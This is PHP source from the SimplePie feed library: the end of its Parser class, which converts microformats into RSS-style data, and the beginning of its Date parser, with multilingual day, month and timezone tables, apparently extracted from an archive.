            || (end($this->namespace) === \SimplePie\SimplePie::NAMESPACE_RSS_090 && in_array(end($this->element), ['title']))
            || (end($this->namespace) === \SimplePie\SimplePie::NAMESPACE_RSS_10 && in_array(end($this->element), ['title']))) {
                $this->current_xhtml_construct = 0;
            }
        }
    }

    public function cdata($parser, $cdata)
    {
        if ($this->current_xhtml_construct >= 0) {
            $this->data['data'] .= htmlspecialchars($cdata, ENT_QUOTES, $this->encoding);
        } else {
            $this->data['data'] .= $cdata;
        }
    }

    public function tag_close($parser, $tag)
    {
        if ($this->current_xhtml_construct >= 0) {
            $this->current_xhtml_construct--;
            if (end($this->namespace) === \SimplePie\SimplePie::NAMESPACE_XHTML && !in_array(end($this->element), ['area', 'base', 'basefont', 'br', 'col', 'frame', 'hr', 'img', 'input', 'isindex', 'link', 'meta', 'param'])) {
                $this->data['data'] .= '</' . end($this->element) . '>';
            }
        }
        if ($this->current_xhtml_construct === -1) {
            $this->data = &$this->datas[count($this->datas) - 1];
            array_pop($this->datas);
        }

        array_pop($this->element);
        array_pop($this->namespace);
        array_pop($this->xml_base);
        array_pop($this->xml_base_explicit);
        array_pop($this->xml_lang);
    }

    public function split_ns($string)
    {
        static $cache = [];
        if (!isset($cache[$string])) {
            if ($pos = strpos($string, $this->separator)) {
                static $separator_length;
                if (!$separator_length) {
                    $separator_length = strlen($this->separator);
                }
                $namespace = substr($string, 0, $pos);
                $local_name = substr($string, $pos + $separator_length);
                if (strtolower($namespace) === \SimplePie\SimplePie::NAMESPACE_ITUNES) {
                    $namespace = \SimplePie\SimplePie::NAMESPACE_ITUNES;
                }

                // Normalize the Media RSS namespaces
                if ($namespace === \SimplePie\SimplePie::NAMESPACE_MEDIARSS_WRONG ||
                    $namespace === \SimplePie\SimplePie::NAMESPACE_MEDIARSS_WRONG2 ||
                    $namespace === \SimplePie\SimplePie::NAMESPACE_MEDIARSS_WRONG3 ||
                    $namespace === \SimplePie\SimplePie::NAMESPACE_MEDIARSS_WRONG4 ||
                    $namespace === \SimplePie\SimplePie::NAMESPACE_MEDIARSS_WRONG5) {
                    $namespace = \SimplePie\SimplePie::NAMESPACE_MEDIARSS;
                }
                $cache[$string] = [$namespace, $local_name];
            } else {
                $cache[$string] = ['', $string];
            }
        }
        return $cache[$string];
    }

    private function parse_hcard($data, $category = false)
    {
        $name = '';
        $link = '';
        // Check if h-card is set and pass that information on in the link.
        if (isset($data['type']) && in_array('h-card', $data['type'])) {
            if (isset($data['properties']['name'][0])) {
                $name = $data['properties']['name'][0];
            }
            if (isset($data['properties']['url'][0])) {
                $link = $data['properties']['url'][0];
                if ($name === '') {
                    $name = $link;
                } else {
                    // can't have commas in categories.
                    $name = str_replace(',', '', $name);
                }
                $person_tag = $category ? '<span class="person-tag"></span>' : '';
                return '<a class="h-card" href="'.$link.'">'.$person_tag.$name.'</a>';
            }
        }
        return $data['value'] ?? '';
    }

    private function parse_microformats(&$data, $url)
    {
        $feed_title = '';
        $feed_author = null;
        $author_cache = [];
        $items = [];
        $entries = [];
        $mf = \Mf2\parse($data, $url);
        // First look for an h-feed.
        $h_feed = [];
        foreach ($mf['items'] as $mf_item) {
            if (in_array('h-feed', $mf_item['type'])) {
                $h_feed = $mf_item;
                break;
            }
            // Also look for h-feed or h-entry in the children of each top level item.
            if (!isset($mf_item['children'][0]['type'])) {
                continue;
            }
            if (in_array('h-feed', $mf_item['children'][0]['type'])) {
                $h_feed = $mf_item['children'][0];
                // In this case the parent of the h-feed may be an h-card, so use it as
                // the feed_author.
                if (in_array('h-card', $mf_item['type'])) {
                    $feed_author = $mf_item;
                }
                break;
            } elseif (in_array('h-entry', $mf_item['children'][0]['type'])) {
                $entries = $mf_item['children'];
                // In this case the parent of the h-entry list may be an h-card, so use
                // it as the feed_author.
                if (in_array('h-card', $mf_item['type'])) {
                    $feed_author = $mf_item;
                }
                break;
            }
        }
        if (isset($h_feed['children'])) {
            $entries = $h_feed['children'];
            // Also set the feed title and store author from the h-feed if available.
            if (isset($mf['items'][0]['properties']['name'][0])) {
                $feed_title = $mf['items'][0]['properties']['name'][0];
            }
            if (isset($mf['items'][0]['properties']['author'][0])) {
                $feed_author = $mf['items'][0]['properties']['author'][0];
            }
        } elseif (count($entries) === 0) {
            $entries = $mf['items'];
        }
        for ($i = 0; $i < count($entries); $i++) {
            $entry = $entries[$i];
            if (in_array('h-entry', $entry['type'])) {
                $item = [];
                $title = '';
                $description = '';
                if (isset($entry['properties']['url'][0])) {
                    $link = $entry['properties']['url'][0];
                    if (isset($link['value'])) {
                        $link = $link['value'];
                    }
                    $item['link'] = [['data' => $link]];
                }
                if (isset($entry['properties']['uid'][0])) {
                    $guid = $entry['properties']['uid'][0];
                    if (isset($guid['value'])) {
                        $guid = $guid['value'];
                    }
                    $item['guid'] = [['data' => $guid]];
                }
                if (isset($entry['properties']['name'][0])) {
                    $title = $entry['properties']['name'][0];
                    if (isset($title['value'])) {
                        $title = $title['value'];
                    }
                    $item['title'] = [['data' => $title]];
                }
                if (isset($entry['properties']['author'][0]) || isset($feed_author)) {
                    // author is a special case, it can be plain text or an h-card array.
                    // If it's plain text it can also be a url that should be followed to
                    // get the actual h-card.
                    $author = $entry['properties']['author'][0] ?? $feed_author;
                    if (!is_string($author)) {
                        $author = $this->parse_hcard($author);
                    } elseif (strpos($author, 'http') === 0) {
                        if (isset($author_cache[$author])) {
                            $author = $author_cache[$author];
                        } else {
                            $mf = \Mf2\fetch($author);
                            foreach ($mf['items'] as $hcard) {
                                // Only interested in an h-card by itself in this case.
                                if (!in_array('h-card', $hcard['type'])) {
                                    continue;
                                }
                                // It must have a url property matching what we fetched.
                                if (!isset($hcard['properties']['url']) ||
                                        !(in_array($author, $hcard['properties']['url']))) {
                                    continue;
                                }
                                // Save parse_hcard the trouble of finding the correct url.
                                $hcard['properties']['url'][0] = $author;
                                // Cache this h-card for the next h-entry to check.
                                $author_cache[$author] = $this->parse_hcard($hcard);
                                $author = $author_cache[$author];
                                break;
                            }
                        }
                    }
                    $item['author'] = [['data' => $author]];
                }
                if (isset($entry['properties']['photo'][0])) {
                    // If a photo is also in content, don't need to add it again here.
                    $content = '';
                    if (isset($entry['properties']['content'][0]['html'])) {
                        $content = $entry['properties']['content'][0]['html'];
                    }
                    $photo_list = [];
                    for ($j = 0; $j < count($entry['properties']['photo']); $j++) {
                        $photo = $entry['properties']['photo'][$j];
                        if (!empty($photo) && strpos($content, $photo) === false) {
                            $photo_list[] = $photo;
                        }
                    }
                    // When there's more than one photo show the first and use a lightbox.
                    // Need a permanent, unique name for the image set, but don't have
                    // anything unique except for the content itself, so use that.
                    $count = count($photo_list);
                    if ($count > 1) {
                        $image_set_id = preg_replace('/[[:^alnum:]]/', '', $photo_list[0]);
                        $description = '<p>';
                        for ($j = 0; $j < $count; $j++) {
                            $hidden = $j === 0 ? '' : 'class="hidden" ';
                            $description .= '<a href="'.$photo_list[$j].'" '.$hidden.
                                'data-lightbox="image-set-'.$image_set_id.'">'.
                                '<img src="'.$photo_list[$j].'"></a>';
                        }
                        $description .= '<br><b>'.$count.' photos</b></p>';
                    } elseif ($count == 1) {
                        $description = '<p><img src="'.$photo_list[0].'"></p>';
                    }
                }
                if (isset($entry['properties']['content'][0]['html'])) {
                    // e-content['value'] is the same as p-name when they are on the same
                    // element. Use this to replace title with a strip_tags version so
                    // that alt text from images is not included in the title.
                    if ($entry['properties']['content'][0]['value'] === $title) {
                        $title = strip_tags($entry['properties']['content'][0]['html']);
                        $item['title'] = [['data' => $title]];
                    }
                    $description .= $entry['properties']['content'][0]['html'];
                    if (isset($entry['properties']['in-reply-to'][0])) {
                        $in_reply_to = '';
                        if (is_string($entry['properties']['in-reply-to'][0])) {
                            $in_reply_to = $entry['properties']['in-reply-to'][0];
                        } elseif (isset($entry['properties']['in-reply-to'][0]['value'])) {
                            $in_reply_to = $entry['properties']['in-reply-to'][0]['value'];
                        }
                        if ($in_reply_to !== '') {
                            $description .= '<p><span class="in-reply-to"></span> '.
                                '<a href="'.$in_reply_to.'">'.$in_reply_to.'</a><p>';
                        }
                    }
                    $item['description'] = [['data' => $description]];
                }
                if (isset($entry['properties']['category'])) {
                    $category_csv = '';
                    // Categories can also contain h-cards.
                    foreach ($entry['properties']['category'] as $category) {
                        if ($category_csv !== '') {
                            $category_csv .= ', ';
                        }
                        if (is_string($category)) {
                            // Can't have commas in categories.
                            $category_csv .= str_replace(',', '', $category);
                        } else {
                            $category_csv .= $this->parse_hcard($category, true);
                        }
                    }
                    $item['category'] = [['data' => $category_csv]];
                }
                if (isset($entry['properties']['published'][0])) {
                    $timestamp = strtotime($entry['properties']['published'][0]);
                    $pub_date = date('F j Y g:ia', $timestamp).' GMT';
                    $item['pubDate'] = [['data' => $pub_date]];
                }
                // The title and description are set to the empty string to represent
                // a deleted item (which also makes it an invalid rss item).
                if (isset($entry['properties']['deleted'][0])) {
                    $item['title'] = [['data' => '']];
                    $item['description'] = [['data' => '']];
                }
                $items[] = ['child' => ['' => $item]];
            }
        }
        // Mimic RSS data format when storing microformats.
        $link = [['data' => $url]];
        $image = '';
        if (!is_string($feed_author) &&
                isset($feed_author['properties']['photo'][0])) {
            $image = [['child' => ['' => ['url' =>
                [['data' => $feed_author['properties']['photo'][0]]]]]]];
        }
        // Use the name given for the h-feed, or get the title from the html.
        if ($feed_title !== '') {
            $feed_title = [['data' => htmlspecialchars($feed_title)]];
        } elseif ($position = strpos($data, '<title>')) {
            $start = $position < 200 ? 0 : $position - 200;
            $check = substr($data, $start, 400);
            $matches = [];
            if (preg_match('/<title>(.+)<\/title>/', $check, $matches)) {
                $feed_title = [['data' => htmlspecialchars($matches[1])]];
            }
        }
        $channel = ['channel' => [['child' => ['' =>
            ['link' => $link, 'image' => $image, 'title' => $feed_title,
                  'item' => $items]]]]];
        $rss = [['attribs' => ['' => ['version' => '2.0']],
                           'child' => ['' => $channel]]];
        $this->data = ['child' => ['' => ['rss' => $rss]]];
        return true;
    }

    private function declare_html_entities()
    {
        // This is required because the RSS specification says that entity-encoded
        // html is allowed, but the xml specification says they must be declared.
        return '<!DOCTYPE html [ <!ENTITY nbsp "&#x00A0;"> <!ENTITY iexcl "&#x00A1;"> <!ENTITY cent "&#x00A2;"> <!ENTITY pound "&#x00A3;"> <!ENTITY curren "&#x00A4;"> <!ENTITY yen "&#x00A5;"> <!ENTITY brvbar "&#x00A6;"> <!ENTITY sect "&#x00A7;"> <!ENTITY uml "&#x00A8;"> <!ENTITY copy "&#x00A9;"> <!ENTITY ordf "&#x00AA;"> <!ENTITY laquo "&#x00AB;"> <!ENTITY not "&#x00AC;"> <!ENTITY shy "&#x00AD;"> <!ENTITY reg "&#x00AE;"> <!ENTITY macr "&#x00AF;"> <!ENTITY deg "&#x00B0;"> <!ENTITY plusmn "&#x00B1;"> <!ENTITY sup2 "&#x00B2;"> <!ENTITY sup3 "&#x00B3;"> <!ENTITY acute "&#x00B4;"> <!ENTITY micro "&#x00B5;"> <!ENTITY para "&#x00B6;"> <!ENTITY middot "&#x00B7;"> <!ENTITY cedil "&#x00B8;"> <!ENTITY sup1 "&#x00B9;"> <!ENTITY ordm "&#x00BA;"> <!ENTITY raquo "&#x00BB;"> <!ENTITY frac14 "&#x00BC;"> <!ENTITY frac12 "&#x00BD;"> <!ENTITY frac34 "&#x00BE;"> <!ENTITY iquest "&#x00BF;"> <!ENTITY Agrave "&#x00C0;"> <!ENTITY Aacute "&#x00C1;"> <!ENTITY Acirc "&#x00C2;"> <!ENTITY Atilde "&#x00C3;"> <!ENTITY Auml "&#x00C4;"> <!ENTITY Aring "&#x00C5;"> <!ENTITY AElig "&#x00C6;"> <!ENTITY Ccedil "&#x00C7;"> <!ENTITY Egrave "&#x00C8;"> <!ENTITY Eacute "&#x00C9;"> <!ENTITY Ecirc "&#x00CA;"> <!ENTITY Euml "&#x00CB;"> <!ENTITY Igrave "&#x00CC;"> <!ENTITY Iacute "&#x00CD;"> <!ENTITY Icirc "&#x00CE;"> <!ENTITY Iuml "&#x00CF;"> <!ENTITY ETH "&#x00D0;"> <!ENTITY Ntilde "&#x00D1;"> <!ENTITY Ograve "&#x00D2;"> <!ENTITY Oacute "&#x00D3;"> <!ENTITY Ocirc "&#x00D4;"> <!ENTITY Otilde "&#x00D5;"> <!ENTITY Ouml "&#x00D6;"> <!ENTITY times "&#x00D7;"> <!ENTITY Oslash "&#x00D8;"> <!ENTITY Ugrave "&#x00D9;"> <!ENTITY Uacute "&#x00DA;"> <!ENTITY Ucirc "&#x00DB;"> <!ENTITY Uuml "&#x00DC;"> <!ENTITY Yacute "&#x00DD;"> <!ENTITY THORN "&#x00DE;"> <!ENTITY szlig "&#x00DF;"> <!ENTITY agrave "&#x00E0;"> <!ENTITY aacute "&#x00E1;"> <!ENTITY acirc "&#x00E2;"> <!ENTITY atilde "&#x00E3;"> <!ENTITY auml "&#x00E4;"> <!ENTITY aring "&#x00E5;"> <!ENTITY aelig "&#x00E6;"> <!ENTITY ccedil "&#x00E7;"> <!ENTITY egrave "&#x00E8;"> <!ENTITY eacute "&#x00E9;"> <!ENTITY ecirc "&#x00EA;"> <!ENTITY euml "&#x00EB;"> <!ENTITY igrave "&#x00EC;"> <!ENTITY iacute "&#x00ED;"> <!ENTITY icirc "&#x00EE;"> <!ENTITY iuml "&#x00EF;"> <!ENTITY eth "&#x00F0;"> <!ENTITY ntilde "&#x00F1;"> <!ENTITY ograve "&#x00F2;"> <!ENTITY oacute "&#x00F3;"> <!ENTITY ocirc "&#x00F4;"> <!ENTITY otilde "&#x00F5;"> <!ENTITY ouml "&#x00F6;"> <!ENTITY divide "&#x00F7;"> <!ENTITY oslash "&#x00F8;"> <!ENTITY ugrave "&#x00F9;"> <!ENTITY uacute "&#x00FA;"> <!ENTITY ucirc "&#x00FB;"> <!ENTITY uuml "&#x00FC;"> <!ENTITY yacute "&#x00FD;"> <!ENTITY thorn "&#x00FE;"> <!ENTITY yuml "&#x00FF;"> <!ENTITY OElig "&#x0152;"> <!ENTITY oelig "&#x0153;"> <!ENTITY Scaron "&#x0160;"> <!ENTITY scaron "&#x0161;"> <!ENTITY Yuml "&#x0178;"> <!ENTITY fnof "&#x0192;"> <!ENTITY circ "&#x02C6;"> <!ENTITY tilde "&#x02DC;"> <!ENTITY Alpha "&#x0391;"> <!ENTITY Beta "&#x0392;"> <!ENTITY Gamma "&#x0393;"> <!ENTITY Epsilon "&#x0395;"> <!ENTITY Zeta "&#x0396;"> <!ENTITY Eta "&#x0397;"> <!ENTITY Theta "&#x0398;"> <!ENTITY Iota "&#x0399;"> <!ENTITY Kappa "&#x039A;"> <!ENTITY Lambda "&#x039B;"> <!ENTITY Mu "&#x039C;"> <!ENTITY Nu "&#x039D;"> <!ENTITY Xi "&#x039E;"> <!ENTITY Omicron "&#x039F;"> <!ENTITY Pi "&#x03A0;"> <!ENTITY Rho "&#x03A1;"> <!ENTITY Sigma "&#x03A3;"> <!ENTITY Tau "&#x03A4;"> <!ENTITY Upsilon "&#x03A5;"> <!ENTITY Phi "&#x03A6;"> <!ENTITY Chi "&#x03A7;"> <!ENTITY Psi "&#x03A8;"> <!ENTITY Omega "&#x03A9;"> <!ENTITY alpha "&#x03B1;"> <!ENTITY beta "&#x03B2;"> <!ENTITY gamma "&#x03B3;"> <!ENTITY delta "&#x03B4;"> <!ENTITY epsilon "&#x03B5;"> <!ENTITY zeta "&#x03B6;"> <!ENTITY eta "&#x03B7;"> <!ENTITY theta "&#x03B8;"> <!ENTITY iota "&#x03B9;"> <!ENTITY kappa "&#x03BA;"> <!ENTITY lambda "&#x03BB;"> <!ENTITY mu "&#x03BC;"> <!ENTITY nu "&#x03BD;"> <!ENTITY xi "&#x03BE;"> <!ENTITY omicron "&#x03BF;"> <!ENTITY pi "&#x03C0;"> <!ENTITY rho "&#x03C1;"> <!ENTITY sigmaf "&#x03C2;"> <!ENTITY sigma "&#x03C3;"> <!ENTITY tau "&#x03C4;"> <!ENTITY upsilon "&#x03C5;"> <!ENTITY phi "&#x03C6;"> <!ENTITY chi "&#x03C7;"> <!ENTITY psi "&#x03C8;"> <!ENTITY omega "&#x03C9;"> <!ENTITY thetasym "&#x03D1;"> <!ENTITY upsih "&#x03D2;"> <!ENTITY piv "&#x03D6;"> <!ENTITY ensp "&#x2002;"> <!ENTITY emsp "&#x2003;"> <!ENTITY thinsp "&#x2009;"> <!ENTITY zwnj "&#x200C;"> <!ENTITY zwj "&#x200D;"> <!ENTITY lrm "&#x200E;"> <!ENTITY rlm "&#x200F;"> <!ENTITY ndash "&#x2013;"> <!ENTITY mdash "&#x2014;"> <!ENTITY lsquo "&#x2018;"> <!ENTITY rsquo "&#x2019;"> <!ENTITY sbquo "&#x201A;"> <!ENTITY ldquo "&#x201C;"> <!ENTITY rdquo "&#x201D;"> <!ENTITY bdquo "&#x201E;"> <!ENTITY dagger "&#x2020;"> <!ENTITY Dagger "&#x2021;"> <!ENTITY bull "&#x2022;"> <!ENTITY hellip "&#x2026;"> <!ENTITY permil "&#x2030;"> <!ENTITY prime "&#x2032;"> <!ENTITY Prime "&#x2033;"> <!ENTITY lsaquo "&#x2039;"> <!ENTITY rsaquo "&#x203A;"> <!ENTITY oline "&#x203E;"> <!ENTITY frasl "&#x2044;"> <!ENTITY euro "&#x20AC;"> <!ENTITY image "&#x2111;"> <!ENTITY weierp "&#x2118;"> <!ENTITY real "&#x211C;"> <!ENTITY trade "&#x2122;"> <!ENTITY alefsym "&#x2135;"> <!ENTITY larr "&#x2190;"> <!ENTITY uarr "&#x2191;"> <!ENTITY rarr "&#x2192;"> <!ENTITY darr "&#x2193;"> <!ENTITY harr "&#x2194;"> <!ENTITY crarr "&#x21B5;"> <!ENTITY lArr "&#x21D0;"> <!ENTITY uArr "&#x21D1;"> <!ENTITY rArr "&#x21D2;"> <!ENTITY dArr "&#x21D3;"> <!ENTITY hArr "&#x21D4;"> <!ENTITY forall "&#x2200;"> <!ENTITY part "&#x2202;"> <!ENTITY exist "&#x2203;"> <!ENTITY empty "&#x2205;"> <!ENTITY nabla "&#x2207;"> <!ENTITY isin "&#x2208;"> <!ENTITY notin "&#x2209;"> <!ENTITY ni "&#x220B;"> <!ENTITY prod "&#x220F;"> <!ENTITY sum "&#x2211;"> <!ENTITY minus "&#x2212;"> <!ENTITY lowast "&#x2217;"> <!ENTITY radic "&#x221A;"> <!ENTITY prop "&#x221D;"> <!ENTITY infin "&#x221E;"> <!ENTITY ang "&#x2220;"> <!ENTITY and "&#x2227;"> <!ENTITY or "&#x2228;"> <!ENTITY cap "&#x2229;"> <!ENTITY cup "&#x222A;"> <!ENTITY int "&#x222B;"> <!ENTITY there4 "&#x2234;"> <!ENTITY sim "&#x223C;"> <!ENTITY cong "&#x2245;"> <!ENTITY asymp "&#x2248;"> <!ENTITY ne "&#x2260;"> <!ENTITY equiv "&#x2261;"> <!ENTITY le "&#x2264;"> <!ENTITY ge "&#x2265;"> <!ENTITY sub "&#x2282;"> <!ENTITY sup "&#x2283;"> <!ENTITY nsub "&#x2284;"> <!ENTITY sube "&#x2286;"> <!ENTITY supe "&#x2287;"> <!ENTITY oplus "&#x2295;"> <!ENTITY otimes "&#x2297;"> <!ENTITY perp "&#x22A5;"> <!ENTITY sdot "&#x22C5;"> <!ENTITY lceil "&#x2308;"> <!ENTITY rceil "&#x2309;"> <!ENTITY lfloor "&#x230A;"> <!ENTITY rfloor "&#x230B;"> <!ENTITY lang "&#x2329;"> <!ENTITY rang "&#x232A;"> <!ENTITY loz "&#x25CA;"> <!ENTITY spades "&#x2660;"> <!ENTITY clubs "&#x2663;"> <!ENTITY hearts "&#x2665;"> <!ENTITY diams "&#x2666;"> ]>';
    }
}

class_alias('SimplePie\Parser', 'SimplePie_Parser');
PKWd[
#���h�hsrc/Parse/Date.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie\Parse;

/**
 * Date Parser
 *
 * @package SimplePie
 * @subpackage Parsing
 */
class Date
{
    /**
     * Input data
     *
     * @access protected
     * @var string
     */
    public $date;

    /**
     * List of days, calendar day name => ordinal day number in the week
     *
     * @access protected
     * @var array
     */
    public $day = [
        // English
        'mon' => 1,
        'monday' => 1,
        'tue' => 2,
        'tuesday' => 2,
        'wed' => 3,
        'wednesday' => 3,
        'thu' => 4,
        'thursday' => 4,
        'fri' => 5,
        'friday' => 5,
        'sat' => 6,
        'saturday' => 6,
        'sun' => 7,
        'sunday' => 7,
        // Dutch
        'maandag' => 1,
        'dinsdag' => 2,
        'woensdag' => 3,
        'donderdag' => 4,
        'vrijdag' => 5,
        'zaterdag' => 6,
        'zondag' => 7,
        // French
        'lundi' => 1,
        'mardi' => 2,
        'mercredi' => 3,
        'jeudi' => 4,
        'vendredi' => 5,
        'samedi' => 6,
        'dimanche' => 7,
        // German
        'montag' => 1,
        'mo' => 1,
        'dienstag' => 2,
        'di' => 2,
        'mittwoch' => 3,
        'mi' => 3,
        'donnerstag' => 4,
        'do' => 4,
        'freitag' => 5,
        'fr' => 5,
        'samstag' => 6,
        'sa' => 6,
        'sonnabend' => 6,
        // AFAIK no short form for sonnabend
        'so' => 7,
        'sonntag' => 7,
        // Italian
        'lunedì' => 1,
        'martedì' => 2,
        'mercoledì' => 3,
        'giovedì' => 4,
        'venerdì' => 5,
        'sabato' => 6,
        'domenica' => 7,
        // Spanish
        'lunes' => 1,
        'martes' => 2,
        'miércoles' => 3,
        'jueves' => 4,
        'viernes' => 5,
        'sábado' => 6,
        'domingo' => 7,
        // Finnish
        'maanantai' => 1,
        'tiistai' => 2,
        'keskiviikko' => 3,
        'torstai' => 4,
        'perjantai' => 5,
        'lauantai' => 6,
        'sunnuntai' => 7,
        // Hungarian
        'hétfő' => 1,
        'kedd' => 2,
        'szerda' => 3,
        'csütörtok' => 4,
        'péntek' => 5,
        'szombat' => 6,
        'vasárnap' => 7,
        // Greek
        'Δευ' => 1,
        'Τρι' => 2,
        'Τετ' => 3,
        'Πεμ' => 4,
        'Παρ' => 5,
        'Σαβ' => 6,
        'Κυρ' => 7,
        // Russian
        'Пн.' => 1,
        'Вт.' => 2,
        'Ср.' => 3,
        'Чт.' => 4,
        'Пт.' => 5,
        'Сб.' => 6,
        'Вс.' => 7,
    ];

    /**
     * List of months, calendar month name => calendar month number
     *
     * @access protected
     * @var array
     */
    public $month = [
        // English
        'jan' => 1,
        'january' => 1,
        'feb' => 2,
        'february' => 2,
        'mar' => 3,
        'march' => 3,
        'apr' => 4,
        'april' => 4,
        'may' => 5,
        // No long form of May
        'jun' => 6,
        'june' => 6,
        'jul' => 7,
        'july' => 7,
        'aug' => 8,
        'august' => 8,
        'sep' => 9,
        'september' => 9,
        'oct' => 10,
        'october' => 10,
        'nov' => 11,
        'november' => 11,
        'dec' => 12,
        'december' => 12,
        // Dutch
        'januari' => 1,
        'februari' => 2,
        'maart' => 3,
        'april' => 4,
        'mei' => 5,
        'juni' => 6,
        'juli' => 7,
        'augustus' => 8,
        'september' => 9,
        'oktober' => 10,
        'november' => 11,
        'december' => 12,
        // French
        'janvier' => 1,
        'février' => 2,
        'mars' => 3,
        'avril' => 4,
        'mai' => 5,
        'juin' => 6,
        'juillet' => 7,
        'août' => 8,
        'septembre' => 9,
        'octobre' => 10,
        'novembre' => 11,
        'décembre' => 12,
        // German
        'januar' => 1,
        'jan' => 1,
        'februar' => 2,
        'feb' => 2,
        'märz' => 3,
        'mär' => 3,
        'april' => 4,
        'apr' => 4,
        'mai' => 5, // no short form for may
        'juni' => 6,
        'jun' => 6,
        'juli' => 7,
        'jul' => 7,
        'august' => 8,
        'aug' => 8,
        'september' => 9,
        'sep' => 9,
        'oktober' => 10,
        'okt' => 10,
        'november' => 11,
        'nov' => 11,
        'dezember' => 12,
        'dez' => 12,
        // Italian
        'gennaio' => 1,
        'febbraio' => 2,
        'marzo' => 3,
        'aprile' => 4,
        'maggio' => 5,
        'giugno' => 6,
        'luglio' => 7,
        'agosto' => 8,
        'settembre' => 9,
        'ottobre' => 10,
        'novembre' => 11,
        'dicembre' => 12,
        // Spanish
        'enero' => 1,
        'febrero' => 2,
        'marzo' => 3,
        'abril' => 4,
        'mayo' => 5,
        'junio' => 6,
        'julio' => 7,
        'agosto' => 8,
        'septiembre' => 9,
        'setiembre' => 9,
        'octubre' => 10,
        'noviembre' => 11,
        'diciembre' => 12,
        // Finnish
        'tammikuu' => 1,
        'helmikuu' => 2,
        'maaliskuu' => 3,
        'huhtikuu' => 4,
        'toukokuu' => 5,
        'kesäkuu' => 6,
        'heinäkuu' => 7,
        'elokuu' => 8,
        'suuskuu' => 9,
        'lokakuu' => 10,
        'marras' => 11,
        'joulukuu' => 12,
        // Hungarian
        'január' => 1,
        'február' => 2,
        'március' => 3,
        'április' => 4,
        'május' => 5,
        'június' => 6,
        'július' => 7,
        'augusztus' => 8,
        'szeptember' => 9,
        'október' => 10,
        'november' => 11,
        'december' => 12,
        // Greek
        'Ιαν' => 1,
        'Φεβ' => 2,
        'Μάώ' => 3,
        'Μαώ' => 3,
        'Απρ' => 4,
        'Μάι' => 5,
        'Μαϊ' => 5,
        'Μαι' => 5,
        'Ιούν' => 6,
        'Ιον' => 6,
        'Ιούλ' => 7,
        'Ιολ' => 7,
        'Αύγ' => 8,
        'Αυγ' => 8,
        'Σεπ' => 9,
        'Οκτ' => 10,
        'Νοέ' => 11,
        'Δεκ' => 12,
        // Russian
        'Янв' => 1,
        'января' => 1,
        'Фев' => 2,
        'февраля' => 2,
        'Мар' => 3,
        'марта' => 3,
        'Апр' => 4,
        'апреля' => 4,
        'Май' => 5,
        'мая' => 5,
        'Июн' => 6,
        'июня' => 6,
        'Июл' => 7,
        'июля' => 7,
        'Авг' => 8,
        'августа' => 8,
        'Сен' => 9,
        'сентября' => 9,
        'Окт' => 10,
        'октября' => 10,
        'Ноя' => 11,
        'ноября' => 11,
        'Дек' => 12,
        'декабря' => 12,

    ];

    /**
     * List of timezones, abbreviation => offset from UTC
     *
     * @access protected
     * @var array
     */
    public $timezone = [
        'ACDT' => 37800,
        'ACIT' => 28800,
        'ACST' => 34200,
        'ACT' => -18000,
        'ACWDT' => 35100,
        'ACWST' => 31500,
        'AEDT' => 39600,
        'AEST' => 36000,
        'AFT' => 16200,
        'AKDT' => -28800,
        'AKST' => -32400,
        'AMDT' => 18000,
        'AMT' => -14400,
        'ANAST' => 46800,
        'ANAT' => 43200,
        'ART' => -10800,
        'AZOST' => -3600,
        'AZST' => 18000,
        'AZT' => 14400,
        'BIOT' => 21600,
        'BIT' => -43200,
        'BOT' => -14400,
        'BRST' => -7200,
        'BRT' => -10800,
        'BST' => 3600,
        'BTT' => 21600,
        'CAST' => 18000,
        'CAT' => 7200,
        'CCT' => 23400,
        'CDT' => -18000,
        'CEDT' => 7200,
        'CEST' => 7200,
        'CET' => 3600,
        'CGST' => -7200,
        'CGT' => -10800,
        'CHADT' => 49500,
        'CHAST' => 45900,
        'CIST' => -28800,
        'CKT' => -36000,
        'CLDT' => -10800,
        'CLST' => -14400,
        'COT' => -18000,
        'CST' => -21600,
        'CVT' => -3600,
        'CXT' => 25200,
        'DAVT' => 25200,
        'DTAT' => 36000,
        'EADT' => -18000,
        'EAST' => -21600,
        'EAT' => 10800,
        'ECT' => -18000,
        'EDT' => -14400,
        'EEST' => 10800,
        'EET' => 7200,
        'EGT' => -3600,
        'EKST' => 21600,
        'EST' => -18000,
        'FJT' => 43200,
        'FKDT' => -10800,
        'FKST' => -14400,
        'FNT' => -7200,
        'GALT' => -21600,
        'GEDT' => 14400,
        'GEST' => 10800,
        'GFT' => -10800,
        'GILT' => 43200,
        'GIT' => -32400,
        'GST' => 14400,
        'GST' => -7200,
